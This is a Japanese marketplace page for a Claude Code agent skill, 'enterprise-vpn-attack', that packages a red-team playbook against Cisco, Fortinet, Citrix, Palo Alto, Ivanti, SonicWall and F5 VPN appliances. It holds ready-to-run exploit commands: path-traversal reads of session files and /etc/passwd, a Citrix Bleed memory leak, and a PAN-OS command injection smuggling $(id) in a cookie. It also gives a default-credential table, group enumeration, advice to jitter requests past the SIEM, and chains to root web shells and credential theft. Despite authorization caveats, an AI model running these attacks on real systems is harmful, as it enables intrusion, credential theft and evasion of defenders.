mcpField
E
enterprise-vpn-attack

enterprise-vpn-attack

github.com/uphiagoセキュリティ1.3k40 回インストール8 週間前に更新
リポジトリ

enterprise-vpn-attack について

企業向け SSL VPN 製品を特定し、公開 Web インターフェースを確認するセキュリティテストスキルです。ベンダーの識別、CVE の確認、SAML 設定の調査、許可された評価での慎重な認証情報テストを扱います。

主な機能

  1. 01企業 VPN ベンダーのフィンガープリント
  2. 02記載された VPN CVE の確認
  3. 03SAML メタデータと設定の調査
  4. 04認証とグループ列挙のガイダンス
  5. 05ロックアウトに配慮した初期認証情報の確認

活用シーン

  1. 01発見したホストの VPN 製品特定
  2. 02許可された VPN エンドポイントの既知問題確認
  3. 03公開された SAML サービスプロバイダーメタデータの調査
  4. 04認証応答とグループ挙動の調査

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill enterprise-vpn-attack

インストール後、Claude Code で/enterprise-vpn-attackを入力して読み込まれたか確認します。

詳細

このスキルを使用するタイミング

偵察で以下が見つかった場合に実行します。

  • *.<client>.example/+CSCOE+/logon.html または同様の +CSCOE+ パス → Cisco ASA / AnyConnect
  • intranet.* / vpn.* / connect.* / webvpn.* / wc.* / remote.* サブドメイン
  • ポート 443 が、Server: Apache ヘッダーや「AnyConnect」、「FortiGate」、「NetScaler」、「GlobalProtect」、「Pulse」、「Ivanti」などのバナーを含むログインページを返す
  • TCP 8443 / 4443 / 10443 / 8888(一般的な VPN Web 管理ポート)
  • Set-Cookie: webvpn=(Cisco)/ SVPNCOOKIE=(Fortinet)/ NSC_AAA=(Citrix)/ DSAuthSession=(Pulse)/ BIGipServer*(F5)を含む HTTP レスポンス

以下には使用しないでください。

  • 足がかりを得た後の内部ラテラルムーブメント(ユーザーの境界条件によりスコープ外)
  • VPN クライアント側のバグ(別の攻撃クラス)
  • IPsec / L2TP / OpenVPN(SSL VPN の Web スタックとは異なるプロトコル)

ベンダーの特定(フィンガープリンティング)

Cisco ASA / AnyConnect
curl --max-time 30 --connect-timeout 10 -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"

ASA のバージョン:現行ビルドではバナーに表示されません。JS ファイルのパスから推定するか、特定のパスをテストする必要があります。

# Path-based version hints (older builds leaked builds in URLs)
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/saml/sp/metadata'         # 200 = SAML auth enabled
curl --max-time 30 --connect-timeout 10 -sk 'https://target/CSCOSSLC/config-auth'             # AnyConnect handshake endpoint
Fortinet FortiGate / FortiOS
curl --max-time 30 --connect-timeout 10 -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"

バージョン:/remote/info から漏えいすることがあります(旧バージョン)。または /login?username= の 302 レスポンスで確認できます。

Citrix NetScaler / ADC / Gateway
curl --max-time 30 --connect-timeout 10 -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"

# Version banner
curl --max-time 30 --connect-timeout 10 -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl --max-time 30 --connect-timeout 10 -sk 'https://target/menu/neo'                # 200 if vulnerable to CVE-2019-19781 era
Palo Alto GlobalProtect
curl --max-time 30 --connect-timeout 10 -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"

# Version banner via login page
curl --max-time 30 --connect-timeout 10 -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl --max-time 30 --connect-timeout 10 -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'
Pulse Secure / Ivanti Connect Secure
curl --max-time 30 --connect-timeout 10 -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"

# Version
curl --max-time 30 --connect-timeout 10 -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'
SonicWall NetExtender / SMA
curl --max-time 30 --connect-timeout 10 -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"
F5 Big-IP / APM
curl --max-time 30 --connect-timeout 10 -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)

CVE マトリックス — 認証前または認証バイパス(2018~2026)

Cisco ASA / AnyConnect
CVE影響対象種類テスト
CVE-2018-0296ASA の特定の 9.x 未満のビルドパストラバーサル — 情報漏えい(セッション、設定)GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua
CVE-2020-3452特定のパッチレベル適用前の ASA、FTDパストラバーサル — ファイル読み取りGET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua とそのバリエーション
CVE-2023-20269特定の ASA、FTDSSL VPN の認証バイパス/+webvpn+/index.html に対して、グループと有効な認証情報の組み合わせをブルートフォースします
CVE-2024-20481RAVPN細工したハンドシェイクによる DoSレッドチームではスキップ — 影響を伴います
# Cisco CVE-2020-3452 — file read
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5

# Cisco CVE-2018-0296 — path traversal
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20

# Files commonly retrievable on vulnerable ASA:
# /+CSCOE+/portal_inc.lua    (portal inclusions — may reveal local users)
# /+CSCOE+/session_password.html
# /+CSCOE+/files/files.html
Fortinet FortiGate / FortiOS
CVE影響対象種類テスト
CVE-2018-13379FortiOS 5.4-6.0パストラバーサル — sslvpn_websession ファイル読み取りGET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession
CVE-2022-42475特定の FortiOS 7.xヒープオーバーフロー — 認証前 RCE複雑なエクスプロイトです。nuclei のテンプレート CVE-2022-42475 でテストします
CVE-2023-27997 (XORtigate)複数の FortiOSヒープオーバーフロー — 認証前 RCE公開 PoC があり、nuclei のテンプレートも利用できます
CVE-2024-21762FortiOS 6.x-7.x範囲外書き込み — 認証前 RCE公開 PoC、および nuclei のテンプレート CVE-2024-21762
CVE-2024-55591FortiOS 7.0-7.4FortiOS の Node.js WebSocket 管理インターフェースにおける認証バイパス管理インターフェースのポートで GET /endpoint
# Fortinet CVE-2018-13379 — most reliably-fingerprintable file read
curl --max-time 30 --connect-timeout 10 -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
# Response contains plaintext usernames + sessions if vulnerable

# Fortinet credential dump format (from CVE-2018-13379 dumps that hit pastebin in 2021):
# IP:PORT     username     password     (and others)
Citrix NetScaler / ADC / Gateway
CVE影響対象種類テスト
CVE-2019-19781 (Shitrix)ADC/Gateway の特定の 10.5-13.0パストラバーサル → XML アップロード経由の RCEGET /vpn/../vpns/cfg/smb.conf
CVE-2022-27518SAML が設定された ADC/Gateway認証前 RCE複雑です。nuclei でテストします
CVE-2023-3519NetScaler ADC/Gateway の特定の 13.0-13.1細工した HTTP 経由の認証前 RCE公開 PoC があります
CVE-2023-4966 (Citrix Bleed)NetScaler ADC/Gateway 13.0-14.1メモリ漏えい → セッショントークン窃取細工した Host ヘッダーを指定して POST /oauth/idp/.well-known/openid-configuration を送信 — 長い Host ヘッダーにより、レスポンスでメモリ漏えいが発生します
# Citrix Bleed (CVE-2023-4966) detection
HOST=$(python3 -c "print('A' * 24812)")
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "Host: $HOST" "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
# If response is large (>10KB) and contains random memory contents — vulnerable
# Session tokens often present in the memory dump

# CVE-2019-19781 file read
curl --max-time 30 --connect-timeout 10 -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'
Palo Alto GlobalProtect
CVE影響対象種類テスト
CVE-2024-3400GP が有効な PAN-OS 10.2-11.1コマンドインジェクション — 認証前 RCESESSID=../../../var/log/pan/test.txt を含む細工した Cookie ヘッダーを指定して POST /ssl-vpn/login.esp を送信
# CVE-2024-3400 detection
curl --max-time 30 --connect-timeout 10 -sk -X POST 'https://target/ssl-vpn/login.esp' \
  -H 'Cookie: SESSID=../../../var/log/pan/test_$(id)_test.txt' \
  --data 'jsessionid=test'
# Look for file-creation side-effect on test path — palo creates file with command output
Pulse Secure / Ivanti Connect Secure / Policy Secure
CVE影響を受ける製品種別テスト
CVE-2019-11510Pulse Connect Secure 8.x-9.x任意ファイル読み取りGET /dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/
CVE-2021-22893Pulse Connect Secure 9.x認証前の RCE複雑な複数ステップが必要です。nuclei でテストしてください
CVE-2024-21887Ivanti Connect Secure 9.1-22.6Web コンポーネントでのコマンドインジェクション細工した本文を指定して POST /api/v1/totp/user-backup-code/
CVE-2023-46805Ivanti Connect Secure 9.1-22.6認証バイパス完全な攻撃チェーンには 21887 と組み合わせます
# CVE-2019-11510 — Pulse file read
curl --max-time 30 --connect-timeout 10 -sk --path-as-is 'https://target/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/'
SonicWall
CVE影響を受ける製品種別テスト
CVE-2021-20016SMA 100 シリーズの特定のファームウェアSQL インジェクション — 認証前nuclei テンプレートを利用できます
CVE-2024-40766SonicOS の特定のバージョンアクセス制御の不備特定のファームウェアバージョン

SAML SP / IdP の設定ミス(必ず確認)

現在、ほとんどのエンタープライズ VPN は SSO に SAML を使用しています。SP メタデータを確認してください。

# Cisco ASA
curl --max-time 30 --connect-timeout 10 -sk 'https://target/+CSCOE+/saml/sp/metadata' | head -50

# Fortinet
curl --max-time 30 --connect-timeout 10 -sk 'https://target/remote/saml/metadata' | head -50

# Citrix
curl --max-time 30 --connect-timeout 10 -sk 'https://target/saml/login' | head -30

次の点を確認します。

  • AuthnRequestsSigned="false" → XSW の悪用については hunt-saml を参照してください
  • WantAssertionsSigned="false" → 重大です。アサーションのリプレイが可能な場合があります
  • オーディエンス制限の検証不備
  • 公開されている SP 署名証明書(リプレイ/偽造攻撃に利用される可能性があります)

デフォルト認証情報(慎重にテストしてください — アカウントロックアウトのリスクがあります)

ベンダーユーザーパスワード備考
Cisco ASAadmincisco工場出荷時のデフォルト。実稼働環境ではほとんど見られません
Cisco ASAenable_15ciscoコンソール
Fortinetadmin(empty)工場出荷時のデフォルト
Citrix NetScalernsrootnsroot工場出荷時のデフォルト
Citrix NetScalernsroot(serial number)新しいファームウェア
Palo Altoadminadmin工場出荷時のデフォルト
Pulse Secureadminpassword工場出荷時の設定。CIS 強化済み環境では変更されています
F5 Big-IProotdefault工場出荷時の設定
F5 Big-IPadminadminよくある別の組み合わせ
SonicWalladminpassword工場出荷時の設定

⚠ ほとんどのエンタープライズ環境では、これらは変更されています。ロックアウトを避けるため、アカウントごとに 2 回以下の試行にとどめてください。


グループ/トンネルグループの列挙(Cisco 固有)

Cisco ASA の AAA グループは、認証なしで列挙できる場合があります。

# Tunnel group enumeration via timing
for group in DefaultRAGroup DefaultWEBVPNGroup SSLVPN Employees Contractors Vendors Partners Sales Marketing IT; do
  ms=$(curl -sk --max-time 10 --connect-timeout 10 -o /dev/null -w "%{time_total}" \
    -X POST "https://target/+webvpn+/index.html" \
    -d "username=test&password=test&group_list=$group&tgroup=&Login=Login")
  echo "$group: ${ms}s"
done
# Larger differential timing = group exists; valid groups respond slower in some builds

AAA バックエンドの特定

認証に失敗した後、エラーレスポンスの詳細を確認してください。

レスポンス内のパターンAAA バックエンド
a0=2 (Cisco)不明なユーザー
a0=3 (Cisco)パスワードが間違っています
a0=4 (Cisco)ログインが制限されています
a0=12 (Cisco)アカウントがロックされています
a0=115 (Cisco)一般的な認証失敗(LDAP/RADIUS/AD レイヤーのエラー)
レスポンス本文に AADSTSEntra(SAML)をバックエンドとして使用
Authentication failed via RADIUSRADIUS バックエンド
Invalid username or password(一般的なメッセージ)LDAP またはローカル DB

フローに SAML/Entra が見られる場合は、認証情報スプレーの戦略について m365-entra-attack スキルに切り替えてください。


一般的なプローブ手順(5 分でフィンガープリントを取得)

TARGET="vpn.target.com"

# Cisco
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/+CSCOE+/logon.html" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk "https://$TARGET/+CSCOE+/saml/sp/metadata" -o /tmp/cisco_saml.xml; ls -la /tmp/cisco_saml.xml
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest" -o /tmp/cisco_cve.html

# Fortinet
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/remote/login" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" -o /tmp/forti_cve.txt; head -c 200 /tmp/forti_cve.txt

# Citrix
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET/vpn/../vpns/cfg/smb.conf" -o /tmp/citrix_cve.txt; head -c 200 /tmp/citrix_cve.txt
HOST=$(python3 -c "print('A' * 24812)")
curl --max-time 30 --connect-timeout 10 -sk -X POST -H "Host: $HOST" "https://$TARGET/oauth/idp/.well-known/openid-configuration" -o /tmp/citrix_bleed.txt
wc -c /tmp/citrix_bleed.txt

# Palo Alto
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/global-protect/login.esp" 2>&1 | head -3

# Pulse / Ivanti
curl --max-time 30 --connect-timeout 10 -skI "https://$TARGET/dana-na/auth/url_default/welcome.cgi" 2>&1 | head -3
curl --max-time 30 --connect-timeout 10 -sk --path-as-is "https://$TARGET/dana-na/../dana/html5acc/guacamole/../../../../../../../etc/passwd?/dana/html5acc/guacamole/" -o /tmp/pulse_cve.txt; head -c 200 /tmp/pulse_cve.txt

迅速なトリアージに使う Nuclei テンプレート

Nuclei には、上記の CVE のほとんどに対応する高品質なテンプレートがあります。1 つのコマンドで一括スキャンできます。

nuclei -u https://target/ \
  -tags vpn,cisco-asa,fortinet,citrix,palo-alto,pulse-secure,sonicwall,f5 \
  -severity high,critical -rl 5

より広範な脆弱性を対象にするには -as(自動スキャン)を追加しますが、処理は遅くなります。


運用上の注意

  • **バナーが削除されたサーバー(バージョン情報が開示されない)**は、多層防御の観点で有効です。CVE が見つからなくても、良好な所見として記録してください
  • リクエスト頻度を抑えてください。これらのアプライアンスは多くの場合、すべてのリクエストを SIEM に記録します。間隔に揺らぎを加え、時間をかけて実施してください
  • SAML メタデータは匿名で取得できます。取得してください。AAA バックエンドに関する情報を得られます
  • 明示的な許可なく、レッドチーム演習で認証前 RCE の PoC を実行しないでください。VPN コンセントレーターを誤って使用不能にすると、クライアントに壊滅的な影響を与えます。まず検出のみのテストを行い、許可を得てから範囲を広げてください
  • AAA バックエンドの特定結果を記録してください。ASA が RADIUS からローカル認証に接続しているのか、SAML から Entra に接続しているのかによって、その後の攻撃経路が変わります

検証

このセルフテストを実行して、VPN アプライアンスのフィンガープリンティングが機能することを確認します。

  1. Cisco ASA のフィンガープリント — パス検出の構文を確認します。
    curl --max-time 30 --connect-timeout 10 -skI "https://vpn.example.com/+CSCOE+/logon.html" -o /dev/null -w "HTTP %{http_code}
    

" 2>/dev/null && echo "(test probe sent)"


2. **Fortinet のパスプローブ** — FortiOS のパス構文を確認します。
```bash
curl --max-time 30 --connect-timeout 10 -skI "https://vpn.example.com/remote/login" -o /dev/null -w "HTTP %{http_code}
" 2>/dev/null && echo "(test probe sent)"
  1. CVE-2020-3452 のプローブ構文 — Cisco のファイル読み取りパスの構築を確認します。

    echo "https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua" | grep -q "+CSCOE+" && echo "PASS: CVE path syntax correct" || echo "FAIL"
    
  2. CVE-2018-13379 のプローブ構文 — Fortinet のパストラバーサル構築を確認します。

    echo "/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession" | grep -q "fgt_lang" && echo "PASS: Fortinet path syntax correct" || echo "FAIL"
    
  3. Citrix Bleed のプローブ構文 — Host ヘッダーのオーバーフローパターンを確認します。

    echo "POST /oauth/idp/.well-known/openid-configuration" | grep -q "openid-configuration" && echo "PASS: Citrix Bleed endpoint syntax correct" || echo "FAIL"
    
  4. SAML メタデータのプローブ — メタデータエンドポイントの構文を確認します。

    echo "/+CSCOE+/saml/sp/metadata /remote/saml/metadata" | grep -q "saml" && echo "PASS: SAML metadata paths present" || echo "FAIL"
    

6 件のテストすべてで、VPN のフィンガープリンティングと CVE 検出の構文を検証します。


隣接するスキルへの橋渡し

  • m365-entra-attack — AAA バックエンドが Entra SAML の場合。クレデンシャルスプレーの戦略を応用できます。
  • hunt-saml — SAML SP の設定に問題がある場合の XSW/署名のストリッピング
  • mid-engagement-ir-detection — アプライアンスは大量のログを生成します。エンゲージメント中に IPS ルールが導入されていないか監視してください。
  • redteam-mindset — バナーが削除されていることは、「脆弱ではない」ことを意味しません。動作フィンガープリントで調査を続けてください。

注意点

  • 1 つの CVE パスで 404 が返っただけで「パッチ適用済み」と判断しないでください — パッチの適用状況にはばらつきがあるため、ベンダーごとに 3 件以上の CVE をテストしてください。
  • バージョンバナーだけを信用しないでください — アプライアンスのベンダーは、バージョン文字列を変更せずに修正をバックポートすることがよくあります。
  • レート制限なしで重い nuclei スキャンを実行しないでください — これらのアプライアンスは重要インフラです。-rl 5 以下を使用してください。
  • すべての CVE PoC をすぐに試してフィンガープリントを取得しないでください — まず、影響の小さい HEAD とバージョンバナーのプローブから始めてください。
  • SAML メタデータを確認してください — アプライアンスにパッチが適用済みでも、SAML SP の設定ミスは独立した攻撃対象領域です。
  • 明示的な許可なしに認証前 RCE PoC を実行しないでください — VPN コンセントレーターを誤ってクラッシュさせると、壊滅的な事態になります。まず検出のみのテストを行ってください。
  • HTTP ステータスコードだけを信用しないでください — パッチ適用済みのアプライアンスでも、既知の脆弱なパスに対して 200 を返しながら、異なるコンテンツを返す場合があります。レスポンスボディをベースラインと比較してください。
  • ベンダーが 1 社だけだと思い込まないでください — 多くの企業では、複数の VPN アプライアンス(Cisco と Citrix、Fortinet と Pulse など)を運用しています。攻撃パスを選択する前に、すべてをフィンガープリントしてください。
  • AAA バックエンドを無視しないでください — VPN が RADIUS からローカル認証への接続を使用しているのか、SAML から Entra への接続を使用しているのかを把握していると、その後の攻撃パスが大きく変わります。
  • デフォルト認証情報によるロックアウトのリスク — ほとんどの企業のターゲットでは、工場出荷時のパスワードが変更されています。アカウントごとに 2 回以下の試行にしてください。
  • VPN アプライアンスは大量のログを生成します — ほぼすべてのプローブが SIEM に記録される可能性があります。リクエスト間隔にジッターを加え、連続して急速に送信しないでください。

関連スキルとチェーン

  • hunt-rce — 主要な VPN アプライアンス(Pulse Secure、Fortinet、Citrix、Ivanti、Palo Alto)はいずれも、過去 24 か月以内に、認証前のパストラバーサルから RCE につながる脆弱性を公開しています。チェーンのプリミティブ:VPN アプライアンスの CVE(例:Ivanti ICS CVE-2024-21887、Citrix Bleed CVE-2023-4966、Fortinet CVE-2024-21762)→ hunt-rce による認証前のパストラバーサル → Web ルートへの任意ファイル書き込み → ファイルへのリクエスト → root 権限の Web シェル → VPN 設定と LDAP バインド認証情報の抽出。
  • hunt-saml — VPN の SAML SP の設定ミスは、完全にパッチ適用済みのアプライアンスでも残存します。チェーンのプリミティブ:アプライアンスに最新の CVE 対策が適用されているが、/saml/metadata にアクセス可能 → IdP のフィンガープリントを特定 → IdP に対する hunt-saml の XSW またはコメントインジェクション → 偽造アサーション → パスワードや MFA なしで VPN セッションを確立。
  • vmware-vcenter-attack — VPN への足がかりを得た後、次の自然なピボット先は vCenter です。チェーンのプリミティブ:VPN Web シェル → VPN アプライアンスの設定から認証情報を抽出(LDAP バインド、RADIUS 共有シークレット)→ 内部 vCenter で再利用 → スコープで許可されている場合は vmware-vcenter-attack → データセンターの乗っ取り。
  • hunt-ntlm-info — VPN アプライアンスの中には、管理パスで匿名 NTLM を公開するものがあります。チェーンのプリミティブ:VPN 管理者ポータルの NTLM Type-2 をキャプチャ → hunt-ntlm-info で AV_PAIR をデコード → 内部 AD フォレスト名を特定 → 同期済みテナントに対して m365-entra-attack で Entra スプレー。
  • mid-engagement-ir-detection + redteam-report-template — VPN アプライアンスの CVE の悪用はノイズが大きく、SOC は迅速にパッチを適用します。チェーンのプリミティブ:CVE を確認 → mid-engagement-ir-detection でベースラインを取得 → テスト中にアプライアンスが更新された場合、パッチ適用後の状態を 2 件目の指摘事項としてキャプチャ → 2 件の指摘事項を triage-validation に通す → 重要インフラであることを明示して redteam-report-template でまとめる。

コメント